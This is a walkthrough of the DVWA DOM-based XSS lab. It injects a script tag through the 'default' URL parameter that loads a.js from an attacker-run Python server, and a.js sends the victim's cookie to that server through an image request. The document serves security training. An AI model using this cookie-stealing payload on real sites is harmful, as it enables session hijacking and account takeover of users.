Challenge URL: /dvwa/vulnerabilities/xss_d/
Objective: Steal the cookie of a logged-in user.
Tools needed: A temporary web server

Did you remember to read this section's README?

The Guide

Examining the Form

Before we begin, we should probably define what DOM-based cross-site scripting (XSS) vulnerabilities are. "DOM" stands for "Document Object Model". We don't care too much about the details; all we need to know is it allows Javascript to change all parts of a given HTML page. When related to XSS, it means that we should explore how we can exploit an XSS vulnerability as present in the DOM environment (usually the URL), not store it in the page itself.

Now let's look at the form.

We see a dropdown with several language choices. If we choose a language from the dropdown and click the "Select" button, we see the URL has changed to something like this:

http://dvwa/dvwa/vulnerabilities/xss_d/?default=English

Testing for XSS

Knowing what we do about DOM-based XSS vulnerabilities, it seems the best place to start is by modifying that **default** parameter. Why don't we try a classic XSS exploit test?

```
<script>alert(document.cookie)</script>
```

Plop it in the URL, like so:

http://dvwa/dvwa/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>

Note that I actually input `document.cookie.split(";")[0]` *as my payload, in order to hide my session ID. Just a privacy thing for me. You don't have to do that, and it impacts nothing besides what you see in my screenshots.*

Nice, we see the cookie details! However, we experience a bit of a problem. This `alert` script only displays the cookie details to the current logged in user. That doesn't do us much good - how likely is it that during a pentest, we'll have visual access to every victim's screen? Let's try to find a way to get the cookie on Kali, no matter where the victims are.

Getting the Cookie, Remotely

To get started with this, we'll need a web server. Let's stand a temporary one up on Kali with the command:

```
python -m SimpleHTTPServer 9999
```

We'll need this for a very important reason - we can log every single request made to the server. This holds true regardless of the validity of the URL. If we can find a way to extract information by building a URL with the info and requesting it from our web server, we should find the stolen information in our server logs. Let's illustrate how this will work below.

I personally like to build a malicious URL that points to an existing Javascript file on my webserver. That valid Javascript file will actually hold my payload (in this case, an invalid URL request built with the stolen cookie info). I like this approach since it allows me to arbitrarily modify the payload with having to change the exploit itself. Plus, if we name the file something small, like "a.js", we can avoid many content length restrictions.

Building The Exploit

We won't need to spend much time on this one. All we need to do is specify a source file (which we'll call "a.js") in the XSS exploit. And to stay stealthy, we won't cause a visible `alert` anymore. Here's what we get:

```
<script src="http://[your_Kali_IP]:9999/a.js"></script>
```

When this script gets executed, it will try to pull the "a.js" file from your Python web server root, then will execute any code in that file.

Building the Payload

As I said above, we need to find a way to take the stolen cookie, build a URL with that information, then request it from our web server. There are a couple of ways to do so, but I use the following code:

```
function getimg() {
var img = document.createElement('img');
img.src = 'http://[your_Kali_IP]:9999/' + document.cookie;
document.body.appendChild(img);
}

getimg();
```

First, we define the function `getImg()`. The first line of the function defines a new `img` web page element and stores that in the variable **`img`**. We specify the source of this new element as a fake web page with a name set to whatever the user's cookie is set to. It then states that the page is hosted on our temporary web server. It then puts the final `img` element at the bottom of the web page. Finally, we execute the function.

Let's save this file as "a.js" and place it in our web server root.

Running the Payload

Now let's put it all together. Here's our final exploit.

http://dvwa/dvwa/vulnerabilities/xss_d/?default=<script src="http://[your_Kali_IP]**:9999/a.js"></script>**

Let's visit the URL in our browser. If we're lucky, the web server logs will show the cookie as a URL request.

There we go! We see three requests:

1. The request to our payload, with a server responce code of 200 (success);
2. A 404 response code, showing that we couldn't access a file (meaning our payload executed); and
3. The actual request made, which has our cookie! Remember I truncated my cookie output as before.

Now as long as we have our web server, we can adjust our exploit to point to its IP address. Then we can get our victim's cookie from anywhere. Challenge complete!